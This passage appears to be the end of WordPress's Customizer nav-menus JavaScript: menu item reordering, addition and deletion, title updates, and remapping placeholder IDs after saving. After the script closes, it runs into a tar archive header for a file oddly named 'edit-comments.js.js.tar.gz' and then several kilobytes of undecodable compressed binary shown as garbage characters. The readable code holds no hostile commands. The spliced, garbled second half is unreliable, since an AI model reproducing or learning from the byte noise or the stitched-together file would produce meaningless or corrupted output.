						menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
						if ( menuItemControl ) {
							menuItemControls.push( menuItemControl );
						}
					} );

					_.each( menuItemControls, function( menuItemControl ) {
						if ( false === menuItemControl.setting() ) {
							// Skip deleted items.
							return;
						}
						var setting = _.clone( menuItemControl.setting() );
						position += 1;
						priority += 1;
						setting.position = position;
						menuItemControl.priority( priority );

						// Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value.
						setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 );
						if ( ! setting.menu_item_parent ) {
							setting.menu_item_parent = 0;
						}

						menuItemControl.setting.set( setting );
					});
				});

			});
			control.isReordering = false;

			/**
			 * Keyboard-accessible reordering.
			 */
			this.container.find( '.reorder-toggle' ).on( 'click', function() {
				control.toggleReordering( ! control.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new menu item.
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) {
				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
					return;
				}

				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
					$( this ).attr( 'aria-expanded', 'true' );
					api.Menus.availableMenuItemsPanel.open( self );
				} else {
					$( this ).attr( 'aria-expanded', 'false' );
					api.Menus.availableMenuItemsPanel.close();
					event.stopPropagation();
				}
			} );
		},

		_handleDeletion: function() {
			var control = this,
				section,
				menuId = control.params.menu_id,
				removeSection,
				widgetTemplate,
				navMenuCount = 0;
			section = api.section( control.section() );
			removeSection = function() {
				section.container.remove();
				api.section.remove( section.id );
			};

			if ( section && section.expanded() ) {
				section.collapse({
					completeCallback: function() {
						removeSection();
						wp.a11y.speak( api.Menus.data.l10n.menuDeleted );
						api.panel( 'nav_menus' ).focus();
					}
				});
			} else {
				removeSection();
			}

			api.each(function( setting ) {
				if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
					navMenuCount += 1;
				}
			});

			// Remove the menu from any Navigation Menu widgets.
			api.control.each(function( widgetControl ) {
				if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
					return;
				}
				var select = widgetControl.container.find( 'select' );
				if ( select.val() === String( menuId ) ) {
					select.prop( 'selectedIndex', 0 ).trigger( 'change' );
				}

				widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
				widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
				widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove();
			});

			// Remove the menu to the nav menu widget template.
			widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
			widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
			widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
			widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove();
		},

		/**
		 * Update Section Title as menu name is changed.
		 */
		_setupTitle: function() {
			var control = this;

			control.setting.bind( function( menu ) {
				if ( ! menu ) {
					return;
				}

				var section = api.section( control.section() ),
					menuId = control.params.menu_id,
					controlTitle = section.headContainer.find( '.accordion-section-title' ),
					sectionTitle = section.contentContainer.find( '.customize-section-title h3' ),
					location = section.headContainer.find( '.menu-in-location' ),
					action = sectionTitle.find( '.customize-action' ),
					name = displayNavMenuName( menu.name );

				// Update the control title.
				controlTitle.text( name );
				if ( location.length ) {
					location.appendTo( controlTitle );
				}

				// Update the section title.
				sectionTitle.text( name );
				if ( action.length ) {
					action.prependTo( sectionTitle );
				}

				// Update the nav menu name in location selects.
				api.control.each( function( control ) {
					if ( /^nav_menu_locations\[/.test( control.id ) ) {
						control.container.find( 'option[value=' + menuId + ']' ).text( name );
					}
				} );

				// Update the nav menu name in all location checkboxes.
				section.contentContainer.find( '.customize-control-checkbox input' ).each( function() {
					if ( $( this ).prop( 'checked' ) ) {
						$( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name );
					}
				} );
			} );
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewItemBtn = this.container.find( '.add-new-menu-item' ),
				reorderBtn = this.container.find( '.reorder-toggle' ),
				itemsTitle = this.$sectionContent.find( '.item-title' );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( 'reordering', showOrHide );
			this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' );
			if ( this.isReordering ) {
				addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff );
				wp.a11y.speak( api.Menus.data.l10n.reorderModeOn );
				itemsTitle.attr( 'aria-hidden', 'false' );
			} else {
				addNewItemBtn.removeAttr( 'tabindex aria-hidden' );
				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn );
				wp.a11y.speak( api.Menus.data.l10n.reorderModeOff );
				itemsTitle.attr( 'aria-hidden', 'true' );
			}

			if ( showOrHide ) {
				_( this.getMenuItemControls() ).each( function( formControl ) {
					formControl.collapseForm();
				} );
			}
		},

		/**
		 * @return {wp.customize.controlConstructor.nav_menu_item[]}
		 */
		getMenuItemControls: function() {
			var menuControl = this,
				menuItemControls = [],
				menuTermId = menuControl.params.menu_id;

			api.control.each(function( control ) {
				if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) {
					menuItemControls.push( control );
				}
			});

			return menuItemControls;
		},

		/**
		 * Make sure that each menu item control has the proper depth.
		 */
		reflowMenuItems: function() {
			var menuControl = this,
				menuItemControls = menuControl.getMenuItemControls(),
				reflowRecursively;

			reflowRecursively = function( context ) {
				var currentMenuItemControls = [],
					thisParent = context.currentParent;
				_.each( context.menuItemControls, function( menuItemControl ) {
					if ( thisParent === menuItemControl.setting().menu_item_parent ) {
						currentMenuItemControls.push( menuItemControl );
						// @todo We could remove this item from menuItemControls now, for efficiency.
					}
				});
				currentMenuItemControls.sort( function( a, b ) {
					return a.setting().position - b.setting().position;
				});

				_.each( currentMenuItemControls, function( menuItemControl ) {
					// Update position.
					context.currentAbsolutePosition += 1;
					menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order.

					// Update depth.
					if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) {
						_.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) {
							menuItemControl.container.removeClass( className );
						});
						menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) );
					}
					menuItemControl.container.data( 'item-depth', context.currentDepth );

					// Process any children items.
					context.currentDepth += 1;
					context.currentParent = menuItemControl.params.menu_item_id;
					reflowRecursively( context );
					context.currentDepth -= 1;
					context.currentParent = thisParent;
				});

				// Update class names for reordering controls.
				if ( currentMenuItemControls.length ) {
					_( currentMenuItemControls ).each(function( menuItemControl ) {
						menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' );
						if ( 0 === context.currentDepth ) {
							menuItemControl.container.addClass( 'move-left-disabled' );
						} else if ( 10 === context.currentDepth ) {
							menuItemControl.container.addClass( 'move-right-disabled' );
						}
					});

					currentMenuItemControls[0].container
						.addClass( 'move-up-disabled' )
						.addClass( 'move-right-disabled' )
						.toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length );
					currentMenuItemControls[ currentMenuItemControls.length - 1 ].container
						.addClass( 'move-down-disabled' )
						.toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length );
				}
			};

			reflowRecursively( {
				menuItemControls: menuItemControls,
				currentParent: 0,
				currentDepth: 0,
				currentAbsolutePosition: 0
			} );

			menuControl.updateInvitationVisibility( menuItemControls );
			menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 );
		},

		/**
		 * Note that this function gets debounced so that when a lot of setting
		 * changes are made at once, for instance when moving a menu item that
		 * has child items, this function will only be called once all of the
		 * settings have been updated.
		 */
		debouncedReflowMenuItems: _.debounce( function() {
			this.reflowMenuItems.apply( this, arguments );
		}, 0 ),

		/**
		 * Add a new item to this menu.
		 *
		 * @param {Object} item - Value for the nav_menu_item setting to be created.
		 * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance.
		 */
		addItemToMenu: function( item ) {
			var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10,
				originalItemId = item.id || '';

			_.each( menuControl.getMenuItemControls(), function( control ) {
				if ( false === control.setting() ) {
					return;
				}
				priority = Math.max( priority, control.priority() );
				if ( 0 === control.setting().menu_item_parent ) {
					position = Math.max( position, control.setting().position );
				}
			});
			position += 1;
			priority += 1;

			item = $.extend(
				{},
				api.Menus.data.defaultSettingValues.nav_menu_item,
				item,
				{
					nav_menu_term_id: menuControl.params.menu_id,
					original_title: item.title,
					position: position
				}
			);
			delete item.id; // Only used by Backbone.

			placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
			customizeId = 'nav_menu_item[' + String( placeholderId ) + ']';
			settingArgs = {
				type: 'nav_menu_item',
				transport: api.Menus.data.settingTransport,
				previewer: api.previewer
			};
			setting = api.create( customizeId, customizeId, {}, settingArgs );
			setting.set( item ); // Change from initial empty object to actual item to mark as dirty.

			// Add the menu item control.
			menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, {
				type: 'nav_menu_item',
				section: menuControl.id,
				priority: priority,
				settings: {
					'default': customizeId
				},
				menu_item_id: placeholderId,
				original_item_id: originalItemId
			} );

			api.control.add( menuItemControl );
			setting.preview();
			menuControl.debouncedReflowMenuItems();

			wp.a11y.speak( api.Menus.data.l10n.itemAdded );

			return menuItemControl;
		},

		/**
		 * Show an invitation to add new menu items when there are no menu items.
		 *
		 * @since 4.9.0
		 *
		 * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls
		 */
		updateInvitationVisibility: function ( optionalMenuItemControls ) {
			var menuItemControls = optionalMenuItemControls || this.getMenuItemControls();

			this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 );
		}
	} );

	/**
	 * Extends wp.customize.controlConstructor with control constructor for
	 * menu_location, menu_item, nav_menu, and new_menu.
	 */
	$.extend( api.controlConstructor, {
		nav_menu_location: api.Menus.MenuLocationControl,
		nav_menu_item: api.Menus.MenuItemControl,
		nav_menu: api.Menus.MenuControl,
		nav_menu_name: api.Menus.MenuNameControl,
		nav_menu_locations: api.Menus.MenuLocationsControl,
		nav_menu_auto_add: api.Menus.MenuAutoAddControl
	});

	/**
	 * Extends wp.customize.panelConstructor with section constructor for menus.
	 */
	$.extend( api.panelConstructor, {
		nav_menus: api.Menus.MenusPanel
	});

	/**
	 * Extends wp.customize.sectionConstructor with section constructor for menu.
	 */
	$.extend( api.sectionConstructor, {
		nav_menu: api.Menus.MenuSection,
		new_menu: api.Menus.NewMenuSection
	});

	/**
	 * Init Customizer for menus.
	 */
	api.bind( 'ready', function() {

		// Set up the menu items panel.
		api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({
			collection: api.Menus.availableMenuItems
		});

		api.bind( 'saved', function( data ) {
			if ( data.nav_menu_updates || data.nav_menu_item_updates ) {
				api.Menus.applySavedData( data );
			}
		} );

		/*
		 * Reset the list of posts created in the customizer once published.
		 * The setting is updated quietly (bypassing events being triggered)
		 * so that the customized state doesn't become immediately dirty.
		 */
		api.state( 'changesetStatus' ).bind( function( status ) {
			if ( 'publish' === status ) {
				api( 'nav_menus_created_posts' )._value = [];
			}
		} );

		// Open and focus menu control.
		api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl );
	} );

	/**
	 * When customize_save comes back with a success, make sure any inserted
	 * nav menus and items are properly re-added with their newly-assigned IDs.
	 *
	 * @alias wp.customize.Menus.applySavedData
	 *
	 * @param {Object} data
	 * @param {Array} data.nav_menu_updates
	 * @param {Array} data.nav_menu_item_updates
	 */
	api.Menus.applySavedData = function( data ) {

		var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {};

		_( data.nav_menu_updates ).each(function( update ) {
			var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection;
			if ( 'inserted' === update.status ) {
				if ( ! update.previous_term_id ) {
					throw new Error( 'Expected previous_term_id' );
				}
				if ( ! update.term_id ) {
					throw new Error( 'Expected term_id' );
				}
				oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']';
				if ( ! api.has( oldCustomizeId ) ) {
					throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
				}
				oldSetting = api( oldCustomizeId );
				if ( ! api.section.has( oldCustomizeId ) ) {
					throw new Error( 'Expected control to exist: ' + oldCustomizeId );
				}
				oldSection = api.section( oldCustomizeId );

				settingValue = oldSetting.get();
				if ( ! settingValue ) {
					throw new Error( 'Did not expect setting to be empty (deleted).' );
				}
				settingValue = $.extend( _.clone( settingValue ), update.saved_value );

				insertedMenuIdMapping[ update.previous_term_id ] = update.term_id;
				newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']';
				newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
					type: 'nav_menu',
					transport: api.Menus.data.settingTransport,
					previewer: api.previewer
				} );

				shouldExpandNewSection = oldSection.expanded();
				if ( shouldExpandNewSection ) {
					oldSection.collapse();
				}

				// Add the menu section.
				newSection = new api.Menus.MenuSection( newCustomizeId, {
					panel: 'nav_menus',
					title: settingValue.name,
					customizeAction: api.Menus.data.l10n.customizingMenus,
					type: 'nav_menu',
					priority: oldSection.priority.get(),
					menu_id: update.term_id
				} );

				// Add new control for the new menu.
				api.section.add( newSection );

				// Update the values for nav menus in Navigation Menu controls.
				api.control.each( function( setting ) {
					if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) {
						return;
					}
					var select, oldMenuOption, newMenuOption;
					select = setting.container.find( 'select' );
					oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' );
					newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' );
					newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) );
					oldMenuOption.remove();
				} );

				// Delete the old placeholder nav_menu.
				oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
				oldSetting.set( false );
				oldSetting.preview();
				newSetting.preview();
				oldSetting._dirty = false;

				// Remove nav_menu section.
				oldSection.container.remove();
				api.section.remove( oldCustomizeId );

				// Update the nav_menu widget to reflect removed placeholder menu.
				navMenuCount = 0;
				api.each(function( setting ) {
					if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
						navMenuCount += 1;
					}
				});
				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
				widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();

				// Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options.
				wp.customize.control.each(function( control ){
					if ( /^nav_menu_locations\[/.test( control.id ) ) {
						control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
					}
				});

				// Update nav_menu_locations to reference the new ID.
				api.each( function( setting ) {
					var wasSaved = api.state( 'saved' ).get();
					if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) {
						setting.set( update.term_id );
						setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update().
						api.state( 'saved' ).set( wasSaved );
						setting.preview();
					}
				} );

				if ( shouldExpandNewSection ) {
					newSection.expand();
				}
			} else if ( 'updated' === update.status ) {
				customizeId = 'nav_menu[' + String( update.term_id ) + ']';
				if ( ! api.has( customizeId ) ) {
					throw new Error( 'Expected setting to exist: ' + customizeId );
				}

				// Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name).
				setting = api( customizeId );
				if ( ! _.isEqual( update.saved_value, setting.get() ) ) {
					wasSaved = api.state( 'saved' ).get();
					setting.set( update.saved_value );
					setting._dirty = false;
					api.state( 'saved' ).set( wasSaved );
				}
			}
		} );

		// Build up mapping of nav_menu_item placeholder IDs to inserted IDs.
		_( data.nav_menu_item_updates ).each(function( update ) {
			if ( update.previous_post_id ) {
				insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id;
			}
		});

		_( data.nav_menu_item_updates ).each(function( update ) {
			var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl;
			if ( 'inserted' === update.status ) {
				if ( ! update.previous_post_id ) {
					throw new Error( 'Expected previous_post_id' );
				}
				if ( ! update.post_id ) {
					throw new Error( 'Expected post_id' );
				}
				oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']';
				if ( ! api.has( oldCustomizeId ) ) {
					throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
				}
				oldSetting = api( oldCustomizeId );
				if ( ! api.control.has( oldCustomizeId ) ) {
					throw new Error( 'Expected control to exist: ' + oldCustomizeId );
				}
				oldControl = api.control( oldCustomizeId );

				settingValue = oldSetting.get();
				if ( ! settingValue ) {
					throw new Error( 'Did not expect setting to be empty (deleted).' );
				}
				settingValue = _.clone( settingValue );

				// If the parent menu item was also inserted, update the menu_item_parent to the new ID.
				if ( settingValue.menu_item_parent < 0 ) {
					if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) {
						throw new Error( 'inserted ID for menu_item_parent not available' );
					}
					settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ];
				}

				// If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id.
				if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) {
					settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ];
				}

				newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']';
				newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
					type: 'nav_menu_item',
					transport: api.Menus.data.settingTransport,
					previewer: api.previewer
				} );

				// Add the menu control.
				newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, {
					type: 'nav_menu_item',
					menu_id: update.post_id,
					section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']',
					priority: oldControl.priority.get(),
					settings: {
						'default': newCustomizeId
					},
					menu_item_id: update.post_id
				} );

				// Remove old control.
				oldControl.container.remove();
				api.control.remove( oldCustomizeId );

				// Add new control to take its place.
				api.control.add( newControl );

				// Delete the placeholder and preview the new setting.
				oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
				oldSetting.set( false );
				oldSetting.preview();
				newSetting.preview();
				oldSetting._dirty = false;

				newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) );
			}
		});

		/*
		 * Update the settings for any nav_menu widgets that had selected a placeholder ID.
		 */
		_.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) {
			var setting = api( widgetSettingId );
			if ( setting ) {
				setting._value = widgetSettingValue;
				setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu.
			}
		});
	};

	/**
	 * Focus a menu item control.
	 *
	 * @alias wp.customize.Menus.focusMenuItemControl
	 *
	 * @param {string} menuItemId
	 */
	api.Menus.focusMenuItemControl = function( menuItemId ) {
		var control = api.Menus.getMenuItemControl( menuItemId );
		if ( control ) {
			control.focus();
		}
	};

	/**
	 * Get the control for a given menu.
	 *
	 * @alias wp.customize.Menus.getMenuControl
	 *
	 * @param menuId
	 * @return {wp.customize.controlConstructor.menus[]}
	 */
	api.Menus.getMenuControl = function( menuId ) {
		return api.control( 'nav_menu[' + menuId + ']' );
	};

	/**
	 * Given a menu item ID, get the control associated with it.
	 *
	 * @alias wp.customize.Menus.getMenuItemControl
	 *
	 * @param {string} menuItemId
	 * @return {Object|null}
	 */
	api.Menus.getMenuItemControl = function( menuItemId ) {
		return api.control( menuItemIdToSettingId( menuItemId ) );
	};

	/**
	 * @alias wp.customize.Menus~menuItemIdToSettingId
	 *
	 * @param {string} menuItemId
	 */
	function menuItemIdToSettingId( menuItemId ) {
		return 'nav_menu_item[' + menuItemId + ']';
	}

	/**
	 * Apply sanitize_text_field()-like logic to the supplied name, returning a
	 * "unnammed" fallback string if the name is then empty.
	 *
	 * @alias wp.customize.Menus~displayNavMenuName
	 *
	 * @param {string} name
	 * @return {string}
	 */
	function displayNavMenuName( name ) {
		name = name || '';
		name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name.
		name = name.toString().trim();
		return name || api.Menus.data.l10n.unnamed;
	}

})( wp.customize, wp, jQuery );
edit-comments.js.js.tar.gz000064400000023360150276633110011501 0ustar00��=ks�Ƶ�*�����MB��-m�ױ��3M����t_"W"b`P������%��3�L�={v��y��X�<��:�ެ�U�Tպ��xV,��W�d�L��==O�1<\꼮��?l���߿�|����ާ��p�����ݿ�����{���?W�[��k�p	C�c��ۻsgW�Q_&�<ӕZ��@����
7?�=����N�L��EZ)�4+�:Is���guZ�I���(U�Њ�Q��T��J�V��x���z���&��v{��{w�iV'�~*�_��F0l��`
�h��I]�#��U=MJ|��������[��F|��,�~�W�����e�wB�C�k38> �f���ݳ�T��l�CZ_�r���/u>�i��OV��8����?��^fGi�i��YR-�����P^�_s
sL�9�uT�j^�ֈw\�ݝ��`��A���|���颞��y4�3����@��g���[}��<�N���*N����������`Z��@���X��,�D#HB��*N��X��B�L�ؗ�[��=Hf3]I��L�5�M_�_�%@�Y�z]�����Z[�`g�
h1<M�t����1S���3���^.�F=����n0�K��d�{��g��7w�`��h8R�j�:�'j������A>TpGP�����{�/�u�',s�p<��:O�,oV����f�U]�}�u���ZՅ�dt2���
hw�rY��:+���w��m��ۉxEW��YYܷ\=T걊�#5Qy\�h�n�r9
��:_ K�~�CX����ͫ�1l���O����wE�L���
�QD\07�𑡺|�G'�#y<�o�.r��j�g�I:S������n�I�"���-��P�<=9!J���@Yq�X��L�J�8q�����	K�	�����p��&���3ߊ�/�	��5Fs��#�J��>	�Eژ�G�YA�mc�4=;�Ki�VF��,GO{�:ll�HH;
i4PQ�J��taxшwiH]�|�9��@�?{{�i2���d-*\���Q8��z��3$F��%�!A�)��(\Y:nFͮ���N�p���y�&��X4�0�	Q\:���o�ݧA�ݾ:<��i�A�`	cr�p�j'�1� 'X#��5k�7`�?ޞCg����q˹�Ҹ% y�홧Ť���t6�_�<

�T{����g@&%Y��I
T<W_}�w#����>���T���>CE��) H���?����c�
��F�0H3���s��z��÷��@�3I��.1<N�`�j��!��9��R��*rXv2E�7�!W�<C%i� -β�Qܼ��n�U��M�
&pK-'2Ķ���v֢�k.�7%~��f�72�F�Mi�����8�k*I�m�5�$�6��I�e58�KkE�z��E�
������x���B�:��4���M���شà����Q��|캌�GE�0{��|�η@ClG鷞n�oYdpX�8U��
��O<D|4�������G���^�AEAf�')Ѡ��4��o���:��'n8d�5�xش��K��c[�2�9C������~��5��>_M���P}��x�d࿖�)i]{w�-y���Y��(!&$v���J�!����j��S�^`��j)�P�+������u�N�4zs���'~~���v7N����f{�v4�x�-2��G@I��>�=�f���sX��xL8���l��hyn���������l:� \�t�:������jl�~8���X��G�N�	T��?�[3tGz�.�3J����d8�#>7,�h;R�+H<}��"O��{��-��'���|�nx^<���b;��9gV�~_�̧FK��lס���f�k�����#i�2)�m��l/_z�w55��7�#���2k��F�&w���C�f
�,�gYQ�Dqr�P�	U�h��:K��ʤ�ȼD�@���.��bg���]�p�w��U����&O���8�VD̃�)�S8/��P��-;X�m�9����}�_/����_ךΕ��p���ʽ�ҥ�5ؖ5	-���TS�����.�ڐ�o�#Ěo!�G�����<n�`=@;�Uu���WkзAI}	����>������Ig_蓢��#�/�:��f���a9�
�^�V~�d^�Km�C�ì)~|�'K}xkJ/o�!S�Z��Ȓ���yGgx=�����yC�Cqu�z *q/9�}D#̞���2y0ń��h0dƫ�@����:K���FT�
?9X��,���z��Դ8�bD��o�E�"�6"F�d��*�;%�E�^��E�V��
ڜꜬ"���2K�s �#�9�(쟯��1�D����8:��R�3O�ѧ�N�+�d=
���u\�N��j~��0���R3meHCb�O�Y���;��Jt6PiiFf�F��i�z<T�S<�5Ӻ
	[u��K���j3/��P>Z?���웯��r
DŊ���U��	C���Z/w[v8`�ş]�Q�p^�<�l[IF�2�96)�|E���ܿ��1��ȑ��tz���8G޼�.^<�_���GiҜg�z}�j����O_�K8��>dQN��8�R�Z��U%��,II�!K̭�����C;}�8�t���<7�q�{��<fqZ����mPئ?2f��%q:Ь���ހ�R%sW���`)aJ�^Z��4z4a��v�?��g�&w�SB�2�c��s��͂���h^��4x@_z�Y�`&��t��D�aF��n�yS�Wp`�!�N`2��3����x~�j�Z�0 K|��$ئ����,��@68�d^?�t1�y�ض�O\5��v��D�eR��<IL���m�Z�[O�u<�E���F�@�į�֩E�=��p_���yA//됫��lSV����f�Y��c 6��4��=/j����s��b��F��E�-�%��u�\��;sx{.�D�8N]�x��|5�Q+�@B~�*9J�P`�{M>�F{��c柧�_�I:l�z]f�O�p�$��!�i���n���E�%����wߜ�	���H��� 
�
��5e����Q?|9\�dsJ?uPm�e|�q�Q����a|g&{�@\G:�.y�9�DR�ذ�zWE�5���E�?��������(�-���xVd�e�&��x́�=�$-&���ќӁ���y:�$�vr'���b��U�A�~o%_���B�g��O>	���G��eU��tfb<���tj���l�f�R簗g)���y���˗�.�p	؊�b���%�vx�֛��������j���s�^d@��B���E��z�Ɛ_����ݨ�#v��V÷�{���S>���,����
s�XW�$:��<���"j��`!��U�>�pd}����h��Aܷ�I#�<��Ⱥ�b��=lb-M>���2=_��g�0Tc��a���ކc���v���I��w��4�x�I�C�tZx�z�.�?+�wvq��.��i2>&�q�����;�3���IZV艃����ѥvT��V��XҼ2�
Lb���]:{��ŠPP�,5�r�L�$�� hJu�z	�&9M�;F\� �L�����?���câzN�_H63�t9NfoOKL�ZdE9���K��'�\���~��+���T�f��N����8e��/���5W��g{)��N�
�P^��6J�����Vlo�z��¨����R)��6�Ok �J	>���)��+����P���h����T�A
ͥ�X$g�6X� 9�Q$�����@ܲ[8	h�St�TS��P��KtչOO�,C�5�|r	v��_.����`���+��maԫ��a��(!��\y�N}~dtߛ��b��c}ڸ	W��p��N���#�?#s�(�?JĂ�O}�>{w�_��'���	���S<���E��9I~`!<j^> 4�U���}<aDž8-p0�5��!�ɘ����*ċ�2�b��f��G�'��۝pu�z�.m���e��b3/$T��n����LX�$����[�ʖ�-ʹ�-t��Sа+�1]���N8[	��C,w��i�C _w�4ׅ�y�>{���ԫ%$�kE>(�:q��O�D�lSl��R�òcV[7�G�����_x�CNe����劒���`co�\����;�^�ݞ52q�1H�R��#��m,/�d�u���Tv��qD>����V�Ɖz&&��܊w7��#��5���l]b`�^^���
����p�����dI47�c�x�4ݰ�~�Mw�4�&"�}}�bV�X#s�jV׀MP�F��"�jVj�ǻ-��ږґ�vcZ�{Ż��u��MkԱ�^7 ��LM��'���l�'�-YD��Κ�HV����߇wH�J��;�]:Lےn�_�W|X@�3m�[�����E���04V���_Ά��Z�o�p,J�=/�nIf��o@��a�_��=�I?n��m���|HLj�
�yM���/4�Лr��B��I���]��6�­�g�T/u�Lr��ő]��ð�y����9�X�L�FΪ�l���2{g(�A�@��.�7�!(D�.j�N��Yx�O�-�f`��B�z���am��Q�.����hC{�3n�[���d3qOaC(� ���խ[g�xo��WҤ��+����w�ۃ���y|(���ܡ��ݻ���{8{(��!�ں�D戝�����JcV[(y�=aM'!�~;��a_o�Of�an;诿Jђ`�~;�$|�Y�������ݩ�$?�V�p�Y����")�@'���}��� ������ʎ�P�1.��əZ��9`@�F*�-�ψy�X�G�2�c�W�QP��Mi���.��tC�c�O#���`�'B���
H~6;�'�h?̰�e�k�U��T��&Ȍ�n������v��}+CJo�F�C�J� ��P�D�MY�ȋ1�����r�9q�Ӻ%�m��781�)6�;J
W3��JO��I��	H�FЕ]+�bl�&o��Ays6;��T֍�c���b}
Z�vV��Aa��[
�@�a�m��簔\p�xU�֙I+�8A�Fк�v�e���2��go0{�=Bpc����Ui�m"�w^��h��C��ª��C�Hn�z��n3����h��|Dx��~�6��U�������d�i�f�;I�媾��/��L�C�UR/�e���fǡ�WZ��^NM>�M���O&W��e�5VDƏv�c�"��7I4@�V���Ӈ�C[D���RNU<�> W^���P�"�
�-6jCl��BQ�JU�R��.fpX�"�h_�$}��mYأ��‰j�rD<�"j��-L�[��"-d�q�h��\���lFx�*2�+��SzEI���=/��w��16��_f[���+����P����É��Uk� w|�������flE3�	=��J�a�.г$�(�R���w�tYRni�Ǣ<�$w��'Ʌ�:dJ��(vP(��,��d5,RD��8�CE�����|<Q�j�~���t3�j��:��z�{��*�yf�}u�vSs"�Ξ�s?A�p��f�����r�����L���~�g�l��	������%��޽@N�0�cq���>k��E�~Z��^�݆���:�5"<~ָPx/�SDžB{w��p����H��]�85�2=MsԎ�L)?v�sǑ��Ց\�'�b�R�r�8��P<,��P �����$���֤���fÞ2f��O�&+k�Ff]�J��
Vt"Gz�ǜ}8F�(����8π�����P�^��i�:>_�X
